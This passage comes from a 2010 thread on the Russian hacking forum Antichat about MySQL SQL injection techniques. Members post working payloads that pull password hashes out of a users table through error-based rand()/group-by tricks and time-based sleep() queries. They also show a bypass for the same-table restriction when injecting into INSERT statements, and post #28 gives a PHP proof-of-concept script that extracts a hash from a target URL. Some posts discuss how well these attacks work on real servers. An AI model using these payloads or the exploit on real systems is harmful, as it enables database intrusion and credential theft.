ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 05.01.2010, 00:30
Аватар для cr0w
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

При использовании способа с rand'омом в order by, обнаружилась такая вещь (тестил в 5.0.45-community-nt): если извлекать данные из колонки, напимер, типа VARCHAR и размерностью >153, то ошибки в запросе не возникает, он нормально выполняется, и мы не получаем нужных нам данных. Решить эту проблему можно, например, урезав извлекаемые данные с помощью SUBSTR (или MID). Таким образом, лучше использовать данный способ примерно в такой манере:
Код:
script.php?sql=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users limit 1),1,64),floor(rand(0)*2)))--
Да, и не забывайте, что в выводимой строке, последний символ, еденица, это результат выполнения floor(rand(0)*2) - к извлекаемым данным он никакого отношения не имеет (у Qwazar'a в примерах он отделен, у меня - нет). (;

И еще одна небольшая фича, которая кому-то может пригодиться при использовании этих методов когда SQLI в INSERTе. Например, имеется уязвимый скрипт такого плана:
PHP код:
<?php 
mysql_connect
("localhost""root"""); 
mysql_select_db ('test'); 

$rеz mysql_query ("INSERT INTO users (name,pass) VALUES ('" $_REQUEST[name] . "','" $_REQUEST[pass]. "');") or die (mysql_error()); 
?>
Если мы попробуем в подзапросе прочесть данные из той же таблицы, в которую осуществляется insert:
Код:
test.php?name=lala',(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2))))--+
MySQL не позволит этого сделать, выдав ошибку:
Код:
You can't specify target table 'users' for update in FROM clause
Обходится это ограничение очень просто:
Код:
test.php?name=lala',(select*from(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2)))z))--+

Последний раз редактировалось cr0w; 05.01.2010 в 05:42..
 
Ответить с цитированием

  #22  
Старый 07.01.2010, 14:07
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Использование sleep() вместо benchmark() (32 запроса на md5)

Зачастую встречаются sql-инъекции, в которых нет ни вывода полей, ни вывода ошибок.
В таких случаях применяют find_in_set() и ей подобные.
Я предлагаю ввести новую альтернативу для пятой ветки mysql - sleep().

Рассмотрим следующий запрос:

Код:
SELECT SLEEP((SELECT substring(version(),1,1)))
Здесь будет задержка 5 секунд (работаем с пятой веткой) + уйдёт время на выполнение самого запроса.
Если сначала посмотреть, сколько уходит времени на получение ответа от сервера на запрос без задержки, можно точно узнать первый символ одним запросом.
А учитывая то, что обычно сервер выполняет запрос меньше, чем за одну секунду, можно брать просто целую часть от времени ответа сервера.

Теперь посмотрим, как вытаскивать символы. Предлагаю делать это с помощью ASCII-кодов:

Код:
SELECT SLEEP((SELECT ascii(substring((SELECT password FROM users LIMIT 1,1),1,1)))/50)
В данном запросе задержка будет равна одной пятидесятой от кода символа в секундах.
В зависимости от того, как быстро сервер возвращает ответы без задержки, можно варьировать это число во избежание ошибки.

Таким образом, на 1 md5() хеш потребуется ровно столько запросов, сколько в нём символов - 32.

Теперь о плюсах и минусах:

+ Рекордные 32 запроса на md5()
+ Не требует вывода ошибок
- Работает лишь начиная с MySQL 5
- Возможны погрешности, если сервер перегружен

Надо отметить, что минусы не так существены, как плюсы - старые ветки MySQL уже отмирают, а погрешностей можно избежать, меняя знаменатель в функции SLEEP().

P.S. PoC-эксплойта пока не имеется, надеюсь скоро будет.

Последний раз редактировалось Root-access; 07.01.2010 в 14:09..
 
Ответить с цитированием

  #23  
Старый 07.01.2010, 16:17
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Я полгода назад пробовал делать sleep() + find_in_set(). В любом случае дело фейл, ибо:
1. Разные сервера по нагрузке, т.е. одинаковые запросы будут выполняться разное кол-во времени на разных серверах. Это не локалхост.
2. Разное время передачи данных между сервером и клиентом
3. Некоторые сервера уходили в небольшой даун после подбора скули таким образом.
Тут минусов гораздо больше нежели плюсов. Даже если использовать вкупе с бинарным поиском - всё равно будет тухло.
__________________
..
 
Ответить с цитированием

  #24  
Старый 07.01.2010, 16:28
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Цитата:
Сообщение от .Slip  
Я полгода назад пробовал делать sleep() + find_in_set(). В любом случае дело фейл, ибо:
1. Разные сервера по нагрузке, т.е. одинаковые запросы будут выполняться разное кол-во времени на разных серверах. Это не локалхост.
2. Разное время передачи данных между сервером и клиентом
3. Некоторые сервера уходили в небольшой даун после подбора скули таким образом.
Тут минусов гораздо больше нежели плюсов. Даже если использовать вкупе с бинарным поиском - всё равно будет тухло.
1-2. Да, конечно для каждого сервера надо будет смотреть на время ответа.
Спорить не стану - лучше сначала проверить на конкретном сплойте, пока что это на уровне локалхоста всё работает идеально.
3. Хм, я думаю, что дос-эффект от sleep() много меньше, чем от benchmark().

А какие ты проводил эксперименты? Можно поподробнее? Т.е. хеш выдёргивался неправильно, были сильные погрешности?
 
Ответить с цитированием

  #25  
Старый 07.01.2010, 16:37
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Ну если на примере sleep() + find_in_set(), то думаю ты понял как выглядит запрос. Так вот, допустим сервант отстоял энное время, НО, это время просто в очень редких случаях(фактически локалхост онли) будет совпадать с позицией искомого символа. Т.к. к времени простоя сервера в зависимости от позиции символа, ещё добавляются:
1. Остальные sql запросы, которые были до нашего запроса или же будут после него. Что уже сбивает время.
2. Время загрузки клиентом всей страницы сайта, что бы там нибыло. Опять же сбои во времени.
Тут никак не подсчитать и не сделать универсальный эксплойт. Можно конечно дрочить на каждом сервере довольно долго что б потом ориентироваться по знаменателям и прочим, но это всё займет очень много времени, а есть способы гораздо быстрее, пусть и большее кол-во запросов.

PS Идеально такой способ у меня отработал на локалхосте и одном серванте с широким каналом и незагруженной бд, куда я залил бажный скрипт для теста. В обычных же полевых условиях, всегда был фейл.
__________________
..
 
Ответить с цитированием

  #26  
Старый 28.01.2010, 23:38
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Цитата:
Сообщение от Qwazar  
Я выкладываю всё это не просто так, большая просьба ко всем кто использует эти методы на практике - сообщайте о версиях на которых метод не отработал!! И о любом нестандартном поведении, которые замечаете. В данном случае так же интересуют закономерности и зависимости .
На 6.0.7-alpha-log не сработало (подробно не тестил).
 
Ответить с цитированием

  #27  
Старый 29.01.2010, 01:45
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от Root-access  
1-2. Да, конечно для каждого сервера надо будет смотреть на время ответа.
Спорить не стану - лучше сначала проверить на конкретном сплойте, пока что это на уровне локалхоста всё работает идеально.
3. Хм, я думаю, что дос-эффект от sleep() много меньше, чем от benchmark().
Главная заморочка тут с 1-2, т.к. в любом случае нужно замерять среднее время ответа от сервера, а оно может сильно различаться на разных запросах. По поводу п. 3 - в дос сервер от sleep не уйдёт. Реально нужно вводить коэффициенты, т.е. sleep(N)*delta, где delta - вычисляемое время зависящее от времени ответа сервера. Но в таком случае на некоторые символы (при 32 запросах на хеш) будет уходить слишком много времени. Запросов будет меньше, но время работы - существенно больше.

З.Ы.
Для примера можешь посмотреть вот это: http://qwazar.ru/?p=35 .
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 29.01.2010 в 01:48..
 
Ответить с цитированием

  #28  
Старый 29.01.2010, 23:54
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Шаблонный PoC-сплойт к посту #22.
Жду предложений по улучшению и результаты тестов.
На реальном движке не тестил, можно подогнать под любой.
Смотреть на Pastebin
PHP код:
<?php
//SLEEP()+INSTR() SQL-Injection
//Корявоватый сплойт от Root-access
$url "http://site.ru/news.php?id=1";
$id 0;
function 
testtime($url) {
    
$time time()+microtime();
    
file_get_contents($url);
    return 
time()+microtime()-$time;
}
echo 
"Test time: ".$testtime=testtime($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res "";
for(
$i=1;$i<33;$i++) {
    
$time time()+microtime();
    
file_get_contents("$url+and+sleep(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1)))");
    
$res $res.$sym[round(time()+microtime()-$time-$testtime)-1];
}
echo 
"Hash: ".$res;
?>

Последний раз редактировалось Root-access; 30.01.2010 в 00:48..
 
Ответить с цитированием

  #29  
Старый 30.01.2010, 00:05
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Root-access, не введёшь дельту - результат будет недостоверным. Введёшь - ждать будешь долго (существенно дольше стандартного бин.поиска). В данном случае подобным PoC нельзя ограничиваться.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 30.01.2010 в 00:09..
 
Ответить с цитированием

  #30  
Старый 30.01.2010, 00:09
Аватар для geezer.code
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

если подобрать дельту достаточной величины, то можно будет и погрешности реальной сети рассчитать, ну или делать одинаковый запрос несколько раз и брать средневзвешенное значение.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ